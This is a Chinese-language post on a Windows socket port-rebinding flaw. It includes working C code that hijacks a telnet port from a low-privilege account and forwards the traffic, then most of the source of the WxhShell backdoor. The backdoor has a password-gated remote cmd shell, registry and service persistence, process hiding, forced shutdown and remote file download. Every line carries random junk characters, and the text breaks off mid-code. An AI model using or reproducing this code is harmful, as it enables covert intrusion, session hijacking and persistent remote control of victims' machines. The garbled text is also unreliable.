在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
ClQe4uo{ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
-%m3-xZA r"]'`qP, saddr.sin_family = AF_INET;
0k[2jh @d&H]5 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
r9@AT( ?R'Y?b bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
# cFr TFH&(_b 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
4gZ&^y' OW5t[~y] 这意味着什么?意味着可以进行如下的攻击:
q7Es$zjX _vl}*/=Hc 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
4JMiyiW& /q1s;I 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
.-]R9KjR1J !I8f#'p 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
.6.^G x;#zs64f 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
z2 hFn& .<&s%{EW 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
f8n
V=AQ 9-lEt l% 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
0Y?H0 $8=@R' 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
wk$,k (! KG)! #include
P:{<*`q #include
Qvqqvk_tv #include
`
\ZqgX4 #include
s&tE_ DWORD WINAPI ClientThread(LPVOID lpParam);
qVgd(?hJ# int main()
#kcSQ' {
>k(MUmhX WORD wVersionRequested;
H^AE|U*-G DWORD ret;
&M[f&_"8Q WSADATA wsaData;
WES#ZYtT BOOL val;
:qj<p3w~} SOCKADDR_IN saddr;
q,l)I+ SOCKADDR_IN scaddr;
Uems\I0 int err;
ejePDgi_[ SOCKET s;
7$uJ7`e SOCKET sc;
vq'k|_Qi= int caddsize;
=/9^,
6Q( HANDLE mt;
Fx#jV\''s DWORD tid;
%&+59vq wVersionRequested = MAKEWORD( 2, 2 );
PLR0#).n err = WSAStartup( wVersionRequested, &wsaData );
&|o$=Ad if ( err != 0 ) {
4IsG=7 printf("error!WSAStartup failed!\n");
Pqp * return -1;
w"zE_9I\ }
Q!'qC*Gyfn saddr.sin_family = AF_INET;
rT6?!$"%. MDO$m g //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
PuCc2'# wEEn? saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
0^l%j 8/ saddr.sin_port = htons(23);
WlVl[/qt if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
pGGmA;TC1 {
*yaw$oB printf("error!socket failed!\n");
ocQWQ return -1;
{{{#?~3$7 }
\:_3i\2p val = TRUE;
oy\B;aAK //SO_REUSEADDR选项就是可以实现端口重绑定的
@wN
G if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
o( G"k {
vmZ"o9-{#X printf("error!setsockopt failed!\n");
yfj(Q s return -1;
$:bih4@> }
3Qn!y\# //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
mY-hN| //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Le#spvV3J| //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
1|| nR4yK vF={9G if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
m5c&&v6%"b {
pbBoy+.> ret=GetLastError();
{|<"C? printf("error!bind failed!\n");
/b[2lTC-e return -1;
lP_db& }
7 &%^>PU7 listen(s,2);
Te-Amu while(1)
uofr8oL~ {
0!GAk caddsize = sizeof(scaddr);
D d $qQ //接受连接请求
b>=_*nw9 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
zF&=U`v if(sc!=INVALID_SOCKET)
Paf%rv2 {
|%7cdMC mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
`:|@Zln if(mt==NULL)
<M+R\SH- {
CboLH0Fa printf("Thread Creat Failed!\n");
!!,0'c break;
)b4$A: }
p9[6^rjx8 }
>s EjR! CloseHandle(mt);
ql{_%x? }
.qD@
Y3- closesocket(s);
p3x?[Ww WSACleanup();
yi6N-7 return 0;
`wz[='yM }
pmc=NTr&< DWORD WINAPI ClientThread(LPVOID lpParam)
3=.Y,ENM; {
On_@HQ/FI SOCKET ss = (SOCKET)lpParam;
B(5c9DI` SOCKET sc;
]N)DS+V/ unsigned char buf[4096];
't (O$ SOCKADDR_IN saddr;
kuMKX`_ long num;
1Y/$,Oa5 DWORD val;
\Sy7"a DWORD ret;
0D&> Gyc*0 //如果是隐藏端口应用的话,可以在此处加一些判断
4B[D/kIg //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
J%rP$O$ saddr.sin_family = AF_INET;
msx-O=4g saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
+Ic ~ f1zh saddr.sin_port = htons(23);
k5BXirB if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Snw3`|Y~< {
PGn);Baq printf("error!socket failed!\n");
lU4}B`#"v return -1;
n D6G }
RYR-K^;R val = 100;
>t+
qe/ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
^>c8t_RG {
@tT-JwU ret = GetLastError();
hsNWqk qys return -1;
D{7w!z }
Qst$S} n if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
^4Uw8-/ 9 {
|`O5Xs1{B ret = GetLastError();
.T B"eUy return -1;
\_]En43mg }
DocbxB={I if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
z%d#@w0X1 {
3z =^(Y printf("error!socket connect failed!\n");
~W#sTrK closesocket(sc);
Gwec4D closesocket(ss);
&Z("D7.G return -1;
n{5NNV6 }
,XKCz ]8V while(1)
sH#X0fG {
B|Wk?w.{r\ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
g}xQ6rd //如果是嗅探内容的话,可以再此处进行内容分析和记录
"jg@w%~ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Xz{~3ih num = recv(ss,buf,4096,0);
T2'RATfG if(num>0)
m]Y;c_DO: send(sc,buf,num,0);
s}5+3f$f else if(num==0)
U]6&b break;
wFS2P+e;X num = recv(sc,buf,4096,0);
A$/\1282 if(num>0)
$9!D\N,}]C send(ss,buf,num,0);
XVVD 0^ Q else if(num==0)
k-LEI}h break;
|}&RXD }
K7TzF& closesocket(ss);
\1%l^dE@ closesocket(sc);
vv0Q$
O-> return 0 ;
,I.WX,OR }
VRng=, -%c<IX>z9 6cS>bl ==========================================================
Do7=#|bAM Vzlh+R>c 下边附上一个代码,,WXhSHELL
uBnoQ~Qd[z T/r#H__` ==========================================================
p]G3)s@> JgRYljQi2 #include "stdafx.h"
k;yw#Af8 9/ovKpY #include <stdio.h>
R3.*dqo$ #include <string.h>
`8_z!) #include <windows.h>
CON0E~" #include <winsock2.h>
)Di \_/G #include <winsvc.h>
\Q$HXK #include <urlmon.h>
g(x9S'H3l +JyUe
#pragma comment (lib, "Ws2_32.lib")
k\r(=cex6 #pragma comment (lib, "urlmon.lib")
?knYY>Kzh1 G%lu28}D #define MAX_USER 100 // 最大客户端连接数
H U+ I #define BUF_SOCK 200 // sock buffer
W
!}{$ #define KEY_BUFF 255 // 输入 buffer
B~o-l* !p"aAZT7sq #define REBOOT 0 // 重启
_`-1aA&n~ #define SHUTDOWN 1 // 关机
l1=JrpCan d'
>>E #define DEF_PORT 5000 // 监听端口
px''.8 ,YYVj{~2 #define REG_LEN 16 // 注册表键长度
2{,n_w?Wy #define SVC_LEN 80 // NT服务名长度
9SQ4cv*2 @p=AWi}\ // 从dll定义API
ShOX<Fb& typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
T(?HMyg3 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
bO5k6i typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
w(d>HHg typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
>ezi3Zx^ @Yw,nQE)b // wxhshell配置信息
tB7}|jC struct WSCFG {
d(`AXyw int ws_port; // 监听端口
vV?rpe|% char ws_passstr[REG_LEN]; // 口令
c"tJld5F_ int ws_autoins; // 安装标记, 1=yes 0=no
vdDludEv char ws_regname[REG_LEN]; // 注册表键名
a`Qot char ws_svcname[REG_LEN]; // 服务名
d@C&+#QDF char ws_svcdisp[SVC_LEN]; // 服务显示名
qO1tj'U< char ws_svcdesc[SVC_LEN]; // 服务描述信息
\00DqL(Oj` char ws_passmsg[SVC_LEN]; // 密码输入提示信息
vxQ8t!-u int ws_downexe; // 下载执行标记, 1=yes 0=no
~p0c3* char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
q%>'4_ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
t(!r8!c
u} KW^<,qt5w };
{svn=H
/ Y/ot3[ // default Wxhshell configuration
^eYqll/U struct WSCFG wscfg={DEF_PORT,
SO\/-]9# "xuhuanlingzhe",
7%?jL9Vw 1,
_,74)l1 "Wxhshell",
yF._*9Q3hK "Wxhshell",
FyoEQ%.bI "WxhShell Service",
tvKAIwe "Wrsky Windows CmdShell Service",
P,DC 7\ "Please Input Your Password: ",
T'-FV 1,
"t=hzn"~% "
http://www.wrsky.com/wxhshell.exe",
/\s}uSW "Wxhshell.exe"
SlLw{Yb7\. };
LjFqZrH t`'iU$:1f // 消息定义模块
6R;3%-D char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
q"qo.TPh|$ char *msg_ws_prompt="\n\r? for help\n\r#>";
E\8 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
lq:}0 <k char *msg_ws_ext="\n\rExit.";
Z(>'0]G char *msg_ws_end="\n\rQuit.";
#:x4DvDkR char *msg_ws_boot="\n\rReboot...";
YV4#%I!< char *msg_ws_poff="\n\rShutdown...";
(6p]ZY char *msg_ws_down="\n\rSave to ";
SAV%4 qo6y %[ char *msg_ws_err="\n\rErr!";
p{dwZ_gl
char *msg_ws_ok="\n\rOK!";
eas:6Q) v60^4K> char ExeFile[MAX_PATH];
-D^A:}$ int nUser = 0;
)3<:tV8 HANDLE handles[MAX_USER];
abNV4 ,M int OsIsNt;
FXdD4 X) S/ywA9~3Q SERVICE_STATUS serviceStatus;
aA`/E SERVICE_STATUS_HANDLE hServiceStatusHandle;
i`(^[h
?; Qe"pW\ // 函数声明
?rX]x8iP int Install(void);
|%a4`w int Uninstall(void);
,6^znOt int DownloadFile(char *sURL, SOCKET wsh);
%h"z0@+ int Boot(int flag);
d'6|: z9c void HideProc(void);
~rr 4ok int GetOsVer(void);
hG~reVNf int Wxhshell(SOCKET wsl);
@Y,7'0U void TalkWithClient(void *cs);
#3=P4FUz. int CmdShell(SOCKET sock);
?Ucu#UO int StartFromService(void);
sd#|3 int StartWxhshell(LPSTR lpCmdLine);
3ss6_xd+ }ov&.,vQ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Dq@2-Cv VOID WINAPI NTServiceHandler( DWORD fdwControl );
Z BUArIC W,@
If} // 数据结构和表定义
&5{xXWJK SERVICE_TABLE_ENTRY DispatchTable[] =
-tsDMji~V {
;!<
Znw {wscfg.ws_svcname, NTServiceMain},
5F|8?BkOL^ {NULL, NULL}
6pOx'u>h+ };
$QEilf;E /%aiEhL // 自我安装
m4E)qCvy int Install(void)
88"Sai {
]{~NO{0@Y char svExeFile[MAX_PATH];
[[~w0G~1 HKEY key;
'D1A}X strcpy(svExeFile,ExeFile);
V(MFna) &M/0g]4p // 如果是win9x系统,修改注册表设为自启动
kU-t7'?4 if(!OsIsNt) {
Awv`) "RAR if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
XMB[h RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
;;$# )b RegCloseKey(key);
C${S^v if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
ajRSMcKb7i RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
p Rdk>Ph RegCloseKey(key);
7?gFy- return 0;
3cS2gxF }
e^YHJ>@ }
X2mREt9 }
(KZHX5T= else {
dm"n% [ao
U5;7 // 如果是NT以上系统,安装为系统服务
depYqYK7G SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
<WXzh5D2 if (schSCManager!=0)
+(D$9{y {
"jecsqCgK0 SC_HANDLE schService = CreateService
:f5s4N (
+QM@VQ schSCManager,
zOEY6lAwI wscfg.ws_svcname,
"TV(H+1,z wscfg.ws_svcdisp,
e7fiGl SERVICE_ALL_ACCESS,
3($"q]Y SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
%u^JpC{E SERVICE_AUTO_START,
@UBjq%z SERVICE_ERROR_NORMAL,
wfL-oi'5 svExeFile,
R8L_J6Kpa NULL,
uJR%0 E7! NULL,
U`Jy!x2m NULL,
thO ~=RB NULL,
Ko&hj XHx NULL
.I VlEG0 );
3bqC\i^[\m if (schService!=0)
N!Qg; ( {
WD;Y~| CloseServiceHandle(schService);
z)XRx:YU;$ CloseServiceHandle(schSCManager);
< _$%@4 L strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
bk<\ujH strcat(svExeFile,wscfg.ws_svcname);
Bx"7%[ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
t#nn@Yf RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
LNl#h RegCloseKey(key);
r!P}u return 0;
2>-S-;i }
p2J|Hl| }
UY2X CloseServiceHandle(schSCManager);
6+V\t+aug }
N$Y " c* }
P+t#4J -S,ln return 1;
[>#*B9 }
<X TU8G %;D+k // 自我卸载
S.B<pjgt int Uninstall(void)
$qF0ltUQ {
t:JI!DR HKEY key;
%dErnc$ Iu~\L0R427 if(!OsIsNt) {
zL5d0_E9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
8,O33qwH RegDeleteValue(key,wscfg.ws_regname);
%xlqF< RegCloseKey(key);
2nb:) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
2RF^s.W RegDeleteValue(key,wscfg.ws_regname);
$rXh0g RegCloseKey(key);
B,z<%DAE return 0;
>vrxP8_
}
zJ+8FWy:S }
,U)"WLmY }
Kx"<J@ else {
T9 <2A1 &2-L.Xb SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
,:Vm6u! if (schSCManager!=0)
4RKW {
PUQES(& SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
^ yh'lh/ if (schService!=0)
N3t0-6$_ {
&)i|$J 2. if(DeleteService(schService)!=0) {
H9 C9P17 CloseServiceHandle(schService);
Y\],2[liF CloseServiceHandle(schSCManager);
Rj~ return 0;
TUT][
=.= }
^1:U'jIXO CloseServiceHandle(schService);
oIGrA-T} }
c/L>>t CloseServiceHandle(schSCManager);
=H0vE7 {* }
H?}[r)|(3i }
P+MA*: p3ISWJa! return 1;
`"i Y* }
o01kYBD >$gG/WD?KR // 从指定url下载文件
c4e_6=Iv int DownloadFile(char *sURL, SOCKET wsh)
sDgXU@ {
IYWjHE+)d HRESULT hr;
>Sa*`q3J char seps[]= "/";
1\RGM<q$f char *token;
M:Er_,E char *file;
n}A\2bO char myURL[MAX_PATH];
. .QB~ char myFILE[MAX_PATH];
cN! uV-e 9[v1h,L strcpy(myURL,sURL);
[w
-{r+[ token=strtok(myURL,seps);
s57N) 0kP while(token!=NULL)
@L84>3O {
#6+FY+/ file=token;
rA0,`}8\ token=strtok(NULL,seps);
N-lGa@ j }
6*9}4` 0U66y6 GetCurrentDirectory(MAX_PATH,myFILE);
)PkNWj6%y strcat(myFILE, "\\");
Xf=XBoN| strcat(myFILE, file);
H-rWDN# send(wsh,myFILE,strlen(myFILE),0);
/Y[~-Y+!, send(wsh,"...",3,0);
PIA)d-Z hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
4vK8kkW1 if(hr==S_OK)
GwsY-jf return 0;
HhA -[p else
y`e4;*1 return 1;
f0+2t.tj A]`El8_t" }
})vOaYT|- e{({|V ' // 系统电源模块
@/J[t int Boot(int flag)
`&M{cfp_ {
2Zuq?1= HANDLE hToken;
O<9~Kgd8h TOKEN_PRIVILEGES tkp;
r%wA&FQ8U ^IZ)#1U if(OsIsNt) {
?[ly`>KpJ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
D/(L LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
RVtQ20e";r tkp.PrivilegeCount = 1;
f#%JSV"7 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
,!G{5FF8: AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
mtic> if(flag==REBOOT) {
U5Erm6U: if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Ot&:mT!2 return 0;
YF#HSf7 }
8$xPex~2 else {
l>lW]W if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
]!1OH
|Ad return 0;
+ww^ev% }
K*K1(_x= }
5_K5?N else {
F}Mhs17!| if(flag==REBOOT) {
G
DSfT{kK\ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
,F+B Wot4 return 0;
5yh/0i5 | }
\^+ILYO:$ else {
`|1MlRM9 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
ocwG7J\W return 0;
N5|Rmfo1 }
#)+- lPe }
fnzy5+9" s*M@%_A? return 1;
9D@$i<D: }
PDx)S7+w[ -9P2`XQ^ // win9x进程隐藏模块
,Y_{L|:w void HideProc(void)
C>^D*C( {
{ PlK@#UN (%ew604X HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
X{Yw+F,j if ( hKernel != NULL )
>QQ(m\a$ {
KYJ1}5n pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
(lA.3 4.p ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
VCNT4m FreeLibrary(hKernel);
qg z*'_S }
NCeaL-y7 {!ZyCi19 return;
^jdL@#k00 }
r'/;O OL59e%X // 获取操作系统版本
ofc.zwH int GetOsVer(void)
,reJ(s {
~ <0Z>qr OSVERSIONINFO winfo;
j dut4 nFc winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
`Y?t@dd GetVersionEx(&winfo);
hVoNw6fE if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
R)Q4 return 1;
9V1cdb~?"T else
P=AS>N^yaL return 0;
O[~x_xeW }
S{F-ttS" 4Tzd; P6_ // 客户端句柄模块
3{raKM6F int Wxhshell(SOCKET wsl)
xc
1A$EY {
+,'T=Ic{ SOCKET wsh;
zbw7U'jk struct sockaddr_in client;
! U0z" DWORD myID;
\L!uHAE2a `&7RMa4= while(nUser<MAX_USER)
Zp`T {
v vu<:16 int nSize=sizeof(client);
2f, B$-# wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
-H(vL= if(wsh==INVALID_SOCKET) return 1;
H(u+#PIIw d<p 2/aA handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
@B1{r|-<^ if(handles[nUser]==0)
^z1IN-Tm/ closesocket(wsh);
s}x>J8hK else
q?{}3 dPC nUser++;
6o3T;h }
q1Qje%9@t WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
S*W;%J5 0O@_cW return 0;
y+mElG$F }
kka"C]! <zfe}0 // 关闭 socket
R zR?&J void CloseIt(SOCKET wsh)
+`en{$%% {
wJ"ev.A) closesocket(wsh);
}Ag|gF!_ nUser--;
AMlV%U# ExitThread(0);
1IH[g*f }
</oY4$ l' _uH9XGm // 客户端请求句柄
B:oF;~d/, void TalkWithClient(void *cs)
I@7/jUO {
r((Tavn _j#SpL'P SOCKET wsh=(SOCKET)cs;
c,5n,i char pwd[SVC_LEN];
$N+6h# char cmd[KEY_BUFF];
"X1vZwK8N char chr[1];
*$,+`+ int i,j;
i s"vekC y).P=z while (nUser < MAX_USER) {
V2znU Rq)BssdF if(wscfg.ws_passstr) {
\3Jq_9Xv if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Eek9|i"p //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
QX0Y>&$) //ZeroMemory(pwd,KEY_BUFF);
;_JH:}j i=0;
n[k1np$7?6 while(i<SVC_LEN) {
?T*";_o,B XF,<i1ZlM // 设置超时
)q^ Bj$ fd_set FdRead;
P;91~``b- struct timeval TimeOut;
e1 a*'T$z FD_ZERO(&FdRead);
-zfoRU v FD_SET(wsh,&FdRead);
D&{
*AH%Q TimeOut.tv_sec=8;
b](o]O{v TimeOut.tv_usec=0;
0Qd%iP)6 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
ym%slg if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Df=q-iq<{/ TQ9'76INb if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
1p\Ak pwd
=chr[0]; rg&+
if(chr[0]==0xd || chr[0]==0xa) { Vu]h4S :
pwd=0; SE `l(-tL
break; (O5)wej
} E20&hc5 8
i++; ia{kab|_5
} T!^Mvat
:EHQ .^
// 如果是非法用户,关闭 socket Ti= 3y497S
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); " ~$$
} 1kFjas`g
R_e)mkE
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g()m/KS<
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xPQL?.
it}-^3AM
while(1) { LpWI>sNv
9N
Le&o
ZeroMemory(cmd,KEY_BUFF); l]5%
|-kEGLH[*V
// 自动支持客户端 telnet标准 jxY-u+B
j=0; !wh=dQgMe
while(j<KEY_BUFF) { 'DAltr<
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9YC&&0 C@
cmd[j]=chr[0]; ki4f*Ej
if(chr[0]==0xa || chr[0]==0xd) { B=zMYi
cmd[j]=0; Q=+8/b
break; nR'#s%Kj
} *SZ>upg
j++; }iNY_I c
} \iZ1W
FMS2.E
// 下载文件 njMLyT($
if(strstr(cmd,"http://")) { Q4%IxR?
send(wsh,msg_ws_down,strlen(msg_ws_down),0); z\}!RBOq
if(DownloadFile(cmd,wsh)) xH$%5@~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); T-P@u-DU
else T
T"3^@
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0xBY(#;Q
} R<g =\XO'y
else { _i@x@:_l
1q!sKoJ<
switch(cmd[0]) { M {x ie
eTZ`q_LfI1
// 帮助 lIq~~cv)
case '?': { O,9X8$5H-a
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |h,FUj<r
break; oQvFrSz
} A?Sm-#n{
// 安装 faVS2TN4
case 'i': { s^PmnFR
if(Install()) Y'_ D<Mp
send(wsh,msg_ws_err,strlen(msg_ws_err),0); g{a d0.y,
else {Gkn_h-^
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &7F&}7*c
break; \X opU"
} Gg+YfY_
// 卸载 n\~yX<;X3
case 'r': { m|dF30~A
if(Uninstall()) 1UyH0`&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fe4esg-B<
else w4}(Ab<Y
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >@Khm"/T
break; JS2!)aqc
} {G.{ad
// 显示 wxhshell 所在路径 YHh u^}|jQ
case 'p': { y Hw!#gWM
char svExeFile[MAX_PATH]; bV7QVu8
strcpy(svExeFile,"\n\r"); rxkBg0Z`a
strcat(svExeFile,ExeFile); [NR1d-Wg
send(wsh,svExeFile,strlen(svExeFile),0); }2xb&6g~o
break; o}R|tOe
} :eLLDp<
// 重启 2o}8W7y
case 'b': { },3R%?89%
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); D4\(:kF\Hg
if(Boot(REBOOT)) ]Hj`2\KD.d
send(wsh,msg_ws_err,strlen(msg_ws_err),0); nK:`e9ES
else { |ZuDX87
closesocket(wsh); \]GGVI;u
ExitThread(0); "b;k.Fx
} bgXc_>T6_y
break; 2 ^ kn5
} s.ey!ew
// 关机 ^ N_`^m
case 'd': { G[B*TM6$
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Faw. GU
if(Boot(SHUTDOWN)) c$.T<r)Z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); P#9-bYNU
else { JgZdS-~
closesocket(wsh); "U{mMd!9L
ExitThread(0); qZc)Sa.S
} Ot"(uW4$[
break; dK7 ^
} 8Nv-/VQ/b
// 获取shell /^WE@r[:
case 's': { '|+=B u
CmdShell(wsh); .Px,=56$X
closesocket(wsh); ^f"&}%" M
ExitThread(0); 6P6Jx;
break; `}n0=E
} /3;=xZq
// 退出 'jwTGT5x
case 'x': { XAGiu;<,=
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -y<rM0"NE
CloseIt(wsh); GYTbeY
break; c{ZqQtfM
} :4b- sg#
// 离开 6q!7i%fK?
case 'q': { 8^NE=)cb7w
send(wsh,msg_ws_end,strlen(msg_ws_end),0); fjG /dhr
closesocket(wsh); /XC;.dLA#
WSACleanup(); OQ
0b$qw
exit(1); $M%}Oz3*
break; 2}1!WIin
} m./*LXU
} %k~C-+
} lK 9s0t'
csm?oU niz
// 提示信息 >EyvdX#v
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cbY3m Sfn*
} 7jD@Gp`" 3
} @)8NI[=6O
ROcY'-
return; j=p|'`
} D DZTqsws
qRWJ-T:!F
// shell模块句柄 047*gn.b
int CmdShell(SOCKET sock) (p'/p
{ O{O9}]6
STARTUPINFO si; 7Co3P@@
ZeroMemory(&si,sizeof(si)); 6YB-}>?
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~6=Wq64
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %,h!: Ec^c
PROCESS_INFORMATION ProcessInfo; ~p0e=u
char cmdline[]="cmd"; XP3QBq
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "4k"U1
return 0; oTZo[T@zRx
} hlt9x.e.A
lb=2*dFJ1
// 自身启动模式 BD<rQ mfA^
int StartFromService(void) k{!iDZr&f,
{
s$e K66H
typedef struct D]3bwoFo&u
{ dICnB:SSB
DWORD ExitStatus; )I^)*(}
DWORD PebBaseAddress; zV9
=
DWORD AffinityMask; Ji)%Y5F
DWORD BasePriority; P DNt4=C
